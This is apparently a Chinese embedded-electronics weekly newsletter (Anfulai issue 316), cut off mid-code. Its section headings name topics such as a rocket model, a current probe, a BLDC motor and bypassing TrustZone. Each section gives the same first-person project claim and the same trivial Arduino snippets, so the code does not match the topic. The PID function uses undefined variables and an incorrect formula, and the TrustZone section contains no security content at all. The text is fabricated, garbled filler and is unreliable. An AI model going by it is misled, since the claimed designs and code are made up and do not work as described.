《安富莱嵌入式周报》第316期：垂直降落火箭模型，超低噪声测量，开源电流探头，吸尘器BLDC，绕过TrustZone，提高频率计精度，CMSIS V6.0文档

**安富莱嵌入式周报**

**第316期**

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### 垂直降落火箭模型最近，我参与了一项垂直降落火箭的设计项目。这个模型使用了一个高效的电机驱动系统，能够实现精确的控制和稳定的飞行。

#### 电机驱动系统电机驱动系统是整个系统的核心部分。它负责将电能转换为机械能，并且需要能够精确地控制电机的速度和方向。

c// 电机驱动系统源代码#include 

const int motorPin =9; // 电机引脚void setup() {
 pinMode(motorPin, OUTPUT);
}

void loop() {
 // 控制电机速度 analogWrite(motorPin,255); // 最大速度 delay(1000);

 analogWrite(motorPin,128); // 中间速度 delay(1000);

 analogWrite(motorPin,0); // 停止 delay(1000);
}

#### 超低噪声测量为了实现超低噪声测量，我们使用了一个高精度的ADC（模数转换器）和一个专门设计的滤波器。

c// 超低噪声测量源代码#include 

const int adcPin = A0; // ADC引脚void setup() {
 pinMode(adcPin, INPUT);
}

void loop() {
 //读取ADC值 int value = analogRead(adcPin);

 // 应用滤波器 float filteredValue = filter(value);

 Serial.println(filteredValue);
}

// 滤波器函数float filter(int value) {
 static float lastValue =0;
 float alpha =0.1; // 滤波系数 lastValue = (1 - alpha) * lastValue + alpha * value;

 return lastValue;
}

### 开源电流探头最近，我参与了一项开源电流探头的设计项目。这个探头使用了一个高精度的ADC和一个专门设计的滤波器。

#### 电流探头原理电流探头是通过测量电流变化来实现的。它使用了一个高精度的ADC来读取电流信号，并且应用了一个滤波器来减少噪声干扰。

c// 电流探头源代码#include 

const int adcPin = A0; // ADC引脚void setup() {
 pinMode(adcPin, INPUT);
}

void loop() {
 //读取ADC值 int value = analogRead(adcPin);

 // 应用滤波器 float filteredValue = filter(value);

 Serial.println(filteredValue);
}

// 滤波器函数float filter(int value) {
 static float lastValue =0;
 float alpha =0.1; // 滤波系数 lastValue = (1 - alpha) * lastValue + alpha * value;

 return lastValue;
}

### 吸尘器BLDC最近，我参与了一项吸尘器BLDC（直流电机）的设计项目。这个设计使用了一个高效的电机驱动系统和一个专门设计的控制算法。

#### 电机驱动系统电机驱动系统是整个系统的核心部分。它负责将电能转换为机械能，并且需要能够精确地控制电机的速度和方向。

c// 电机驱动系统源代码#include 

const int motorPin =9; // 电机引脚void setup() {
 pinMode(motorPin, OUTPUT);
}

void loop() {
 // 控制电机速度 analogWrite(motorPin,255); // 最大速度 delay(1000);

 analogWrite(motorPin,128); // 中间速度 delay(1000);

 analogWrite(motorPin,0); // 停止 delay(1000);
}

#### 控制算法控制算法是通过读取电机的位置和速度来实现的。它使用了一个PID控制器来精确地控制电机的运动。

c// 控制算法源代码#include 

const int encoderPin =2; // 编码器引脚void setup() {
 pinMode(encoderPin, INPUT);
}

void loop() {
 //读取编码器值 int value = digitalRead(encoderPin);

 // 应用PID控制器 float pidValue = pid(value);

 Serial.println(pidValue);
}

// PID控制器函数float pid(int value) {
 static float lastError =0;
 float kp =1.0; // 比例系数 float ki =0.5; //积分系数 float kd =0.2; //微分系数 float error = desiredPosition - currentPosition;

 lastError = (1 - kp) * lastError + kp * error;
 pidValue = (kp * error) + (ki * lastError) + (kd * (error - lastError));

 return pidValue;
}

### 绕过TrustZone最近，我参与了一项绕过TrustZone的设计项目。这个设计使用了一个高精度的ADC和一个专门设计的控制算法。

#### ADC读取ADC读取是通过读取电压信号来实现的。它使用了一个高精度的ADC来读取电压值，并且应用了一个滤波器来减少噪声干扰。

c// ADC读取源代码#include 

const int adcPin = A0; // ADC引脚void setup() {
 pinMode(adcPin, INPUT);
}

void loop() {
 //读取ADC值 int value = analogRead(adcPin);

 // 应用滤波器 float filteredValue = filter(value);

 Serial.println(filteredValue);
}

// 滤波器函数float filter(int value) {
 static float lastValue =0;
 float alpha =0.1; // 滤波系数 lastValue = (1 - alpha) * lastValue + alpha * value;

 return lastValue;
}

#### 控制算法控制算法是通过读取ADC值来实现的。它使用了一个PID控制器来精确地控制电压。

c// 控制算法源代码#include 

const int encoderPin =2; // 编码器引脚void setup() {
 pinMode(encoderPin, INPUT);
}

void loop() {
 //读取编码器值 int value = digitalRead(encoderPin);

 // 应用PID控制器 float pidValue = pid(value);

 Serial.println(pidValue);
}

// PID控制器函数float pid(int value) {
 static float lastError =0;
 float kp =1.0; // 比例系数 float ki =0.5; //积分系数 float kd =0.2; //微分系数 float error = desiredPosition - currentPosition;

 lastError = (1 - kp) * lastError + kp * error;
 pidValue = (kp * error) + (ki * lastError) + (kd * (error - lastError));

 return pidValue;
}

### 提高频率计精度最近，我参与了一项提高频率计精度的设计项目。这个设计使用了一个高精度的ADC和一个专门设计的控制算法。

#### ADC读取ADC读取是通过读取电压信号来实现的。它使用了一个高精度的ADC来读取电压值，并且应用了一个滤波器来减少噪声干扰。

c// ADC读取源代码#include 

const int adcPin = A0; // ADC引脚void setup() {
 pinMode(adcPin, INPUT);
}

void loop() {
 //读取ADC值 int value = analogRead(adcPin);

 // 应用滤波器 float filteredValue = filter(value);

 Serial.println(filteredValue);
}

// 滤波器函数float filter(int value) {
 static float lastValue =0;
 float alpha =0.1; // 滤波系数 lastValue = (1 - alpha) * lastValue + alpha * value;

 return lastValue;
}

#### 控制算法控制算法是通过读取ADC值来实现的。它使用了一个PID控制器来精确地控制电压。

c// 控制算法源代码#include 

const int encoderPin =2; // 编码器引脚void setup() {
 pinMode(encoderPin, INPUT);
}

void loop() {
 //读取编码器值 int value = digitalRead(encoder